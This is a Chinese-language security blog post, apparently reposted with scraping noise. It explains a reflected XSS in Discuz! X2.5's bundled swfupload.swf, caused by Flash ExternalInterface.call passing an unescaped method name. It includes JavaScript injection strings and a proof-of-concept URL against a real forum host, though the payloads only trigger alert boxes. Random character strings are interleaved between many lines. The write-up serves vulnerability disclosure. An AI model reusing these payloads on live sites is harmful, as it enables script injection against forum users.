Flash应用安全系列[2]--Discuz! X2.5反射型跨站

admin

上回我们说
  \, k9 ?. Y0 q* w2 q, [4 Z
flash.external.ExternalInterface.call($methodName, $parameter)
9 o1 V$ ~4 J: I8 E9 W2 T在浏览器中执行的是

try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
对于第一个传入的$methodName，flash player在输出js函数时是未经过任何编码的，上个例子里$methodName是全部可控的，但是我们知道了执行脚本的原理后，$methodName只需要部分可控，我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如

flash.external.ExternalInterface.call("object."+$methodName, $parameter)
( e4 }9 _2 _' l! |$methodName = a())}catch(e){alert(/xss/)}//
结果是不存在object.a方法，跳到catch，执行我们构造的任意JS。

5 ~. a& k! C8 O1 V5 D5 Wtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }

这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss，乌云上也有这个漏洞的分析（ WooYun: WordPress反射型XSS ）
4 w+ N% Z7 {; k) R+ v/ R7 `杯具的是，Discuz! X2.5中采用了一个同样的一个swfupload模块，而且还是修复前的版本。

5 E2 {" p; O6 [7 }& G; w' \/ f

漏洞文件：upload\static\image\common\swfupload.swf

2 ~4 H% v! O8 j+ k0 W6 T" R- v6 a原始SWF下载：http://swfpoc.appspot.com/vul/discuz_swfupload.swf

: Y6 f: t! ?+ h) k5 H
- h. m6 E6 ?5 U5 W2 U3 Z+ G漏洞证明：http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
5 _1 C4 d7 V: ^+ l